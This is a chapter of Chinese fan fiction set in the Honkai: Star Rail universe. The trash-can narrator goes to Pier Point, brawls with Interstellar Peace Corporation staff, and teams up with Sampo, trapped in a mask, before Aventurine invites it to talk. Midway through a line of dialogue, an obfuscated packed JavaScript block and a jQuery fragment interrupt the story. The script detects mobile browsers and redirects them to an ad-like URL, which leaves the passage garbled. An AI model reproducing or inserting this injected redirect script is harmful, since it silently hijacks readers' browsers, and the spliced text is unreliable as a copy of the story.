2. 半哭不笑的面具

你在星际辗转各处,却到处碰壁,一腔热血也险些化为乌有。话说得太满,以至于现在无法下得来台。灰溜溜地回去,还不如一根绳子勒死了算。


唉声叹气完了之后,生活还是要继续的,你开始冷静分析如今的局势。


此时此刻,你名不见经传。即便磨破了嘴皮子,也很难取信于人。也是,没闯出点儿名堂来,别人也不知道你的本事。履历表上不好看甚至连履历都没有,谁会用你。如果有个经验丰富的侦探和你竞争,稍微用脚趾头想想也知道别人会选择谁。再者,侦探情报之类的事务,一般人也用不上。想要有生意,必须得与一些大人物接轨,而且还得打出名气来。


深思熟虑之下,你打算去往庇尔波因特——这里是星际和平公司的驻扎地。至于星际和平公司,那可是跨银河的商业巨鳄。现如今银河的金融体系,基本是公司一手建立起来的。可以说,如果想要闯出点儿什么来,找公司基本没准儿了。


不过可不要误会哈,你可不是要进入公司。虽说学习个几年再单飞也不迟,但且不说你如今一副灰不溜秋的模样,公司那光滑的大理石地板会不会接纳你。然即便是接纳了,你也不想一脚踏进公司的陷阱里——吃人肉不吐骨头的东西。


吃不到葡萄说葡萄酸(划掉)。


不过话说回来,好名声没有,坏名声还能没有吗。想要打出名气也不一定是加入公司,可以适当给公司找点儿小麻烦,让其手忙脚乱。这点儿闯祸技能你还是点满了的,不说搅得翻天覆地吧,起码也得掉一层皮不是。


别看公司拥有着全银河最为强大的金融体系,它的仇家也还是有不少的。什么星核猎手啦,什么某些巡海游侠啦等等之类的。倘若你能搅得公司不得安宁,这些与公司有仇有怨的人也能高看你一眼不是。


不管翻过来倒过去,怎么看,怎么琢磨,这趟庇尔波因特之旅你是非去不可了。


说干就干,打定主意,你便背起行囊,兴致勃勃地出发了。途中艰苦,不足为外人道也。来到这里后,你才发现庇尔波因特果然不愧是星际和平公司的所在地。


高楼大厦拔地而起,精致商品琳琅满目。夜晚的霓虹灯分外美丽,纸醉金迷的世界让人流连忘返。


满大街都是看起来西装革履的体面人,他们来去匆匆,即便是在地铁上也会掏出电脑工作。


你就像是刘姥姥进了大观园一般,对一切事物都新奇得不得了。望着望着,桶盖都不由自主地掉了下来,这一掉可不得了。什么富人不肯要的物质悉数丢进了你的身体,将你装得撑撑的。而这些东西,实在称不上垃圾二字,反倒是在以往的星球中会出现在富人身上的东西。


什么只用了二十天的名牌包啦,什么只戴了五六天的精致腕表啦,应有尽有。


不过才来几日,你的三观就已经悉数被打碎,然后被自己一点一点捡起,重新拼揍。


你总算是明白为何人人都向往公司了,哪怕是争得头破血流也在所不惜,哪怕只有万分之一的希望也有拼尽全力一试。


只是理想很是丰满,现实却太过骨感。虽然有句话说得好,穷则独善其身,达则兼济天下,但如今却是富人把控着社会上的大部分资源。他们过惯了富足的生活,从内心深处更为惧怕贫穷。于是,他们拼命压缩着穷人的生存空间,以换取自己的屹立不倒。


或是凭借自己的手眼通天的能力释放虚假信息,多数人不明真假,一股脑扎了进去,到头来却落得钱财两空。或是利用自己的特权将关系亲近之人塞进去,丰富自己的羽翼,形成更为稳固的关系网。


如此一来,留给穷人的机会便少之又少,只有极为出彩极为夺目才能入职公司。然而进去了也并不代表今后就能大富大贵。公司等级森严,金字塔一般罗列下来,压得底层员工喘也喘不过气。


这里纵然有林立的高楼大夏,角落处却亦有泔水腥臭。能看出一个城市一个星球如何的,基本是在垃圾桶里。


你的老毛病又犯了,又想长篇大论指点江山了,想些有的没的做什么。你把自己骂了一顿,一路打听着公司的地址一路赶来。


公司的大楼果然没有辜负你的期望,高耸入云,宛若巍峨的高山一般。但外表却有着别出心裁般的设计,中间偏上的位置像是一小块积木没有搭稳似的,看起来有些摇摇欲坠。


效果极为逼真,有些让桶望而却步。


但你还是硬着头皮磨磨蹭蹭到了公司的门口,然不过才稍稍靠近,正探头探脑地往里面张望时,几个公司的底层员工便来驱赶你了。


“什么品质的垃圾桶,也好意思在这里摆。”


呃。


这是上天派给你的考验吗。


为什么感觉这些员工一脸炮灰相,虽然装扮有些正式,看上去挺唬人的,但依旧像是给主角大显身手的。仅仅只是打他们一顿,就能出人头地吗。


这也太匪夷所思了。


愣神间,那些公司员工已经到了你的身前。他们都懒得触碰你的身体,脸上的表情极为嫌恶,直接伸出脚往前有一搭没一搭地踹着你。你忍气吞声了半晌,在笑脸迎人和拳脚相向中选择了后者。


你生来就是个暴脾气,但一再忍让只会再次把身体气炸。如此窝囊的死法,也就只有你能拥有此项殊荣。虽然这副垃圾桶的身体比肉堆成的身体耐造,但你再也不想克制了。


你忍无可忍,直接伸出强有力的四肢,一拳将他们打倒在地。完了,还狠狠地补了几脚。


笑话,你堂堂垃圾桶的武力值可不是盖的!即便是闻名寰宇的银河球棒侠,在防御值拉满的情况下,也受不住你几脚。更何况这些连银河球棒侠一个手指头都比不过的牛马!


想到牛马两字,你陡然间生出一股同情,气焰一下子没了大半。曾几何时,你也是与他们一同勤勤恳恳的牛马。干着最脏最累的活儿,但却拿着最为浅薄的工资。


罢了,曾为牛马,何况你也没受什么大罪。身为垃圾桶,被人踢来踢去也是常事了。没什么大不了的,你便想大发慈悲放他们一马。


正要离去之时,岂料那几个员工却不乐意了,“这年头真是活久见了,不过是个垃圾桶,居然敢抬手打人。来人呐,给我教训它!”


果然是一脸炮灰相,像个npC似的就想给主角你点儿教训,不达目的誓不罢休。


不是,能编点儿不一样的情节吗。


你心底无能的咆哮无人理会。


哗啦一下子,你的身旁围上来了一大群人。个个凶神恶煞,拿着又长又尖的武器,蓄势待发地看着你。


你双手环胸,面露几分无奈。


不愧是公司养出来的员工。


既然如此,那便得罪了。


你潇洒地摊开手,摆出一副请人出招的姿势。但也仅仅只是客气罢了,不等他们反应过来,你便率先出拳,直接将面前的一个人打飞了出去。众人没料到你这么狠,一出手就直击鼻梁。稍微愣了愣后便冲了上来,慢慢缩小包围你的圈子。


正中你下怀。


本来你还担心这双腿比较短,一个扫堂腿扫不过来呢。然而事实证明,你终究还是想多了。这群员工也不是吃素的,他们直接亮出了武器,一齐捅向你,不过这对于身经百战的你来说,同样是小菜一碟。


哼。


你的口中再次发出一声极为冷酷的哼。


哈努兄弟已经疲惫了,无力再纠正你,只能苦笑表示你开心就好。一路走来,可怜的哈努兄弟已经适应了你但凡打架必然冷哼的神情,已经放弃了垂死挣扎。


回归正题。


又尖又长的武器刺在了你的身体上,你却毫发无伤。笑话,你这副身躯早就是刀枪不入了。寻常的武器怎会刺伤你半分!


那群员工也没料到如此状况,纷纷露出大惊失色的神情,但还是发挥了坚持不懈的精神,依旧要拼尽全力誓要将你捅穿。


脚下的土地已经被蹬出小土坑,那些武器也无法伤到你分毫,反倒是由于用力过猛生生将武器掰断了,武器头被反击到了他们自己的身上,疼得这些员工嗷嗷直叫。


哼。


你拍掉手上的灰尘,心底流露出一丝丝恃强临弱的愧疚感,但很快便被你生生抹去。正待离去,不想一辆极其拉风的流线型跑车吸引了你的注意。车门从左侧打开,一个金发青年踩着擦得铮光瓦亮的皮鞋走了下来。


你险些被亮瞎了钛合金狗眼。


分明是个男人,鼻梁上架着一副粉红色的墨镜却毫无违和感。白色的皮毛当成围脖挂在胸前,桃形的窗口裸露出大片白色的肌肤,灰白色的西装裤笔直地贴紧腿部。


这里的动静显然没引起这个男人的注意,只是摘下墨镜淡淡地往这边扫了一眼。而也正因如此,你也能够看清其瞳孔的颜色。如何形容呢,好像是几层色彩重复覆盖涂抹在一张纸上,然后轻轻在中间滴入一滴清水。色彩呈圆环状层层铺开,轮廓处还渲染有淡淡的水晕。


这是一双极其蛊惑的眸子,盯着看时,会不自由自主地陷进去。分明站在实地上,却禁不住摇晃打转。


似是感觉到了你的目光,那位金发青年再次往这边扫了一眼,但也很快移开。


果然,这种小打小闹引不起什么波浪。


你转身便走。


外面的天色已经黑了,一盏盏绚烂的灯纷纷亮起,比白天还有美丽几分。川流不息的街道上人群熙熙攘攘,摩肩擦踵。


分明身处热闹的地界,你却觉得有几分孤独。吹着凉凉的夜风,你将双手双脚缩进垃圾桶里,乖乖地窝在一个路灯下。


你最喜欢这个姿势,将自己悉数包裹住。或是因此,你今世才会变成一个垃圾桶吧。你收起不必要的思绪,分析着眼下的状况。


想给公司找麻烦,还是得在他们最在乎的金融体系上下手。推行另外一种货币取代信用点有些不现实,你也没有那么庞大的经济实力。即便连匹诺康尼这种有心想与公司抗衡的星球,到最后也只能在其半是威胁半是合作的情况下不得已让公司控股25%。


胳膊拧不过大腿,以你如今的实力,你能做些什么呢。就在你绞尽脑汁的时候,一张半哭不笑的面具冷不防出现在你面前。


“欸我说亲爱的,你终于肯把我放出来了。”


一道极其欠揍的男声。


“亲爱的?”顾不上这个被称作塔塔洛夫的面具怎么凭空消失又凭空出现的,你有些无语道:“现在的假面愚者都这么自来熟了吗?”


那张面具稍微一怔,随即为你竖起了大拇指:“不愧是你,伙计,居然能在瞬间就知晓我的身份。”


“很好猜的好吧。”你无奈扶额,“除了一群寻欢作乐唯恐天下不乱的假面愚者,还有谁能和一个垃圾桶过不去。”


“说得也有几分道理。”那张


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197752|165671||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


面具抚了抚下巴,“不过你第一时间就把我识破还是很出乎我的意料的。”


“是吗?还没问呢。”你伸手戳了戳眼前的面具:“这个表情怎么是半哭不笑的,到底有什么秘密。”


“当然是因为我是有底线的寻欢作乐。”那面具颇为得意。


“哦。”你面无表情地应了一声:“是不是还得拍个巴掌鼓励一下呀。”


“那倒不用。”面具有些激动地搓了搓手,语出惊人:“不过你若是想以身相许,我是不会介意的。”


“……”


你有些怀疑自己的耳朵是不是出什么问题了,一巴掌朝面具拍上:“脑子瓦特了,一个垃圾桶,一个面具,就不考虑下生殖隔离吗。”


面具躲过你的一巴掌,却没半分不悦,反倒是言语间更为放肆:“亲爱的,我从来不知道你已经想那么长远了。”


“……”


论脸皮厚,你应该是比不上这位假面愚者的。你觉得他不应该投奔在阿哈的阵营下,而是合该加入克里珀。这脸皮厚得,几锤子都敲不破。


许是见你半日没有说话,面具以为是他言语轻佻惹你生气了,便强硬扯开话题:“咳咳,自我介绍下,我是老桑博,请多多指教。”


“……”


这话题扯得还不如不扯呢,怎么整得跟相亲似的。


你面无表情地抱了抱胳膊:“我没有名字。”


“没有名字?那倒好办了,我就只能叫你亲爱的了。”


“随便。”你顿了顿,问道:“为何以面具示人?”


桑博轻声叹了口气:“无奈之举,我受到了某种诅咒,恢复不了原身了。”


谁下的诅咒,真想鼓个掌。


这话你只是在心底过了一遍,没说出口。虽然这个老桑博差点儿把垃圾星炸穿,但现在他是唯一能陪你解闷的人了。插诨打科还行,触及到伤疤就不太好了。虽然这个老桑博看起来不像是会在意这些事情的人,脾气好得不得了,就算是你真的给他一拳,他估计也只会是一笑而过,然后继续嬉皮笑脸,但你是有自己的原则的。他可以不在意,你不能不在乎。


“不过——”


桑博的故意拖长腔成功拉扯回了你的思绪,他补充道:“你应该是我恢复原身的契机,和你对战之时,我曾有过短暂的显露真身。”


你想起来了。


难怪当时会看到一个蓝发绿眸的男人,原来如此。不过当时只是一闪而过,你没有好好看清楚罢了,还以为自己眼花了。但仅仅只是一眼,你也能看出这个叫桑博的长得极其不错。


你陡然间想到了自己,不由得考虑起来。


不知道你会不会解锁自己的人形体态,不知道在这个世界造物主会不会将你捏得好看些。


想到长相,你不由自主地想起了方才在公司门口看到的那个从车上下来的珠光宝气的青年。


桑博岂会看不出你的心思,不怀好意地笑了笑:“我说伙计,你该不会是看上那个叫砂金的总监了吧。”


原来他的名字叫砂金。


砂金石青翠欲滴。


那身装扮,倒真是符合这个名字,不过说起更为符合的,花枝招展的青孔雀当之无愧。


“你要是想找他,我倒是有个地方。”桑博神秘兮兮:“给你开个友情价,九九折。”


你捏了捏拳头。


“八……八折。”


你将拳头捏得咯吱响。


“五折……”


你的拳头就要落下。


“免费!”


你面无表情地收回了拳头。


桑博松了口气:“亲爱的,伙计,你这么暴力也不太好,没人会要你的。”


哼。


你堂堂垃圾桶,勾勾手指就有大把的美人前赴后继。


请把迷之自信打在公屏上(划掉)。


再者,你为什么要别人来要。


“走吧。”


你随手拿起桑博,戴在了自己的身上,努力营造出自己也有五官的样子。然而由于你的桶身太过宽大,桑博的身体被扯得有些痛。在他的嗷嗷叫唤中,你还是大发慈悲放了他一马。


然而取是取下来了,桑博却还是没停止叫唤。你有些过意不去,但做都做了,口头上的安慰也太假了,不如来些实惠的。想起桑博的真身一事,你便承诺道:“……恢复真身的事情,有什么需要的,尽管开口,义不容辞。”


此话一出,桑博立即不痛了,爽快应道:“亲爱的,一言为定,咱们击掌为誓。”


“……”


不该心软的。


狡猾的男人。


“……还是别击掌了。”你有些头疼地开口。


“为什么?”桑博不明所以,“不会是想赖账吧。”


你:“……”


深吸一口气,你缓缓吐出两个字:“手痒。”


桑博:“……”


最后的最后,你们还是击了掌。虽然你已经尽力克制了力道,但老桑博还是被震得往后翻了几个跟头,他擦了擦唇角并不存在的鲜血,竖了竖大拇指道:“……真不会怜香惜玉呐。”


“早说了的,偏不信。”


就在你与桑博吵嘴的时候,那辆极其拉风的流线型跑车又从面前经过,然后居然不可思议地停下了。车窗缓缓降下,露出砂金那张精致的面庞:“朋友,有兴趣聊聊吗?”